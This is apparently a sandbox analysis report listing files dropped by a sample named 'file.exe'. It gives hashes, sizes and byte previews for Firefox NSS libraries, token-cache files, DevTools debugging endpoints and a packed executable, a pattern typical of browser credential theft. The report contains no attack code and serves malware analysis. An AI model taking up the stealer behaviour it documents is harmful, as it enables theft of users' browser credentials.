Size (bytes):	44455
Entropy (8bit):	6.089811515042928
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWFdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn7+kzItSmd6qE7lFoC
MD5:	5DFDBE0FDD4C96916A171816A7C441FD
SHA1:	060879674ED57B5158B712E9C90147D8BFAC6A7A
SHA-256:	356C676F28BA418F25248CCE245C2D825A56123D758CE3957A65E0FA168389D6
SHA-512:	75FC94161E90ED65AFB5B3D288CCD50B1C71008CB1E8D1A6523A28C4062505B8CC923445A1ECD50F09F0AC41E3C3E8399C9C7CDAA08925A5D8B8E4E9C8E045FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.843727141157982
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxexl9Il8uD0FbenEnGOPsm2K5BDhNzd1rc:m/Y10FCEn55/fU
MD5:	E4E8B7C509FF132013D6667C884AEA84
SHA1:	83162CBD55B46936A2453529221C3D3564A734E4
SHA-256:	8D1BAF9881851FB9E40729A5D367FCEA27B6C37D7B079CAE0E2031EA8C28B84E
SHA-512:	BD2620C042F6B73A41638572FF1D43FE91728F27E895E54383B2A7075918624134BF1488CB89F70040326D314F9A1849EE65F8F44A4EA8F7F44B2D0936F91A0A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.B.n.+.v.I.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.f.k.P.l.m.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001670631160112
Encrypted:	false
SSDEEP:	48:uiTrlKxEx3xD9Il8uOXEvAL5CTWYZzucRtQUgCPayTMSZb5dxIRZ8bP9C+24YypW:JYU0c5YZy/UgCPpQSZb9If21VJbfu
MD5:	649F72EB86FAED262CA3FB91C17B5346
SHA1:	F2AB3B2B67BC27CF4659251CBE3B18D9942CC0D4
SHA-256:	CC041C4EDC295A7A67666CB07A8B7C601D0A4FDC9D1EAC4BAF6A7AA0E52832AA
SHA-512:	A91183ADE9B3FE00EAE4CD90C00E7489AE38E92F33372D3CBA0F67504404508BC2E46D4F17EB66F6B01839DC85431F9198F1ECCD8C63B82CC006BC23319F596A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".P.o.m./.3.+.o.9.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.f.k.P.l.m.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.908394598467821
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xRxl9Il8uMrr4LVE/6wraJWkPdBBqqXhwfFdd/vc:avYCr4LVfwraJW0d3qQSy
MD5:	135B957226DBB5B7EF3FA189741521F4
SHA1:	9D6FB2A8BB7A63ADBE2C9335028F1810CA31F1D8
SHA-256:	282F74D85F62F1DC6384C8525353F02194D2D53B16D22D74FA35720A19A9D67B
SHA-512:	68C5DF49A87B25634E01F2FCA72EA89F913A4F37608B35F7EC5845427591792C1F75A5ABDED8E6754365C468C992DC0A342D51B5A8E7903D500CDEEF526C7B35
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".S.v.g.z.E.L.x.c.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.f.k.P.l.m.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.390175535744473
Encrypted:	false
SSDEEP:	96:6NnQ2HQ1NnQ4YDebQ4dNnQtXq9QthNnQ1dgEQVNnQgQSNnQ0DQsNnQxLywQx5Nni:6N6NtN6NMYNNNJ7N7/NZwr
MD5:	88A67B0B1A53B13CC72C9283EB63ADE9
SHA1:	2096BEE0410DFA4C6EEB97D5F8AD345C1FECB3C8
SHA-256:	2EE95ADBF176E2E699A0C88689F068A2C98BF9141A0DFC2DE6B1809B2329E67F
SHA-512:	8B04CB5D12BFD166A24D28A617944AA8AF3D672AC478FACEB28960F151E5507370E16A2FCAEB7D8B2A67D734E763ABB89866B1425A51BB80A34D74FEC763710C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/95A4BBC83E360DB2563B9DBADC9E9650",.. "id": "95A4BBC83E360DB2563B9DBADC9E9650",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/95A4BBC83E360DB2563B9DBADC9E9650"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D97BB6F0EF0298F6EC834A6B78EDEB37",.. "id": "D97BB6F0EF0298F6EC834A6B78EDEB37",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D97BB6F0EF0298F6EC834A6B78EDEB37"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.366206793798854
Encrypted:	false
SSDEEP:	48:SfNaoQFaiTEQFKfNaoQwTQwIfNaoQU6fQUNfNaoQ0L0UrU0U8Qy8:6NnQxTEQgNnQ8QBNnQU6fQU5NnQ0L0Uw
MD5:	559299B7FE63950446565EEF6287EE08
SHA1:	8A2F831A75E9E6AC6BB90283FB667FFBFCE50A5C
SHA-256:	0EAA1283C0767B8BB9281F8D9BC190DDD933A32D6DF53B242506E7EE121A4867
SHA-512:	B7E266A574B7F9454C6C0F7EDBEBE3B15D1962E379775451D8272DDE9DAED98DB2D2FB25B140673B8586B067E37A66265FDF3D7A6D1E2DEA87CF57B6D6F0800F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/88C0FB5EDACBAA902E0BBA9915A367AC",.. "id": "88C0FB5EDACBAA902E0BBA9915A367AC",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/88C0FB5EDACBAA902E0BBA9915A367AC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5D822C8805A6B80AFDF0BE72BC826B77",.. "id": "5D822C8805A6B80AFDF0BE72BC826B77",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5D822C8805A6B80AFDF0BE72BC826B77"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1848832
Entropy (8bit):	7.9482205887980575
Encrypted:	false
SSDEEP:	49152:03D8MC3nKP30n5RR74zlPK8suoRhhKUl0iLb:03xB30ntulPKyoXMUlX
MD5:	A218B8E66F929D65CEA126F98F026C66
SHA1:	CF2500D00B460084217583F5F63921E197744488
SHA-256:	2E0D3B67009872C61328C5904A23832E6B6617DE8BF756533B1804BB56719D05
SHA-512:	46E95B24D1F74F57A02E2ACA0745AF63622520FA804E10FD3A251F78CAB028013DA8E7982A9ED0318711A78E36E33EB9EA494E58D834BD18A336560A1C90A625
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PI...........@...........................I...........@.................................W...k.......D...................T7I..............................7I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p).........................@...cwfrbimo. ... 0.....................@...auhgmisl.....@I.....................@....taggant.0...PI.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09e9d01c-a09b-46d8-981b-125dc2e46f0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\0f211ae6-4574-4ca9-bf2f-4f4a472250c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\4711f56c-e10a-4c1b-b138-41225e4393e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
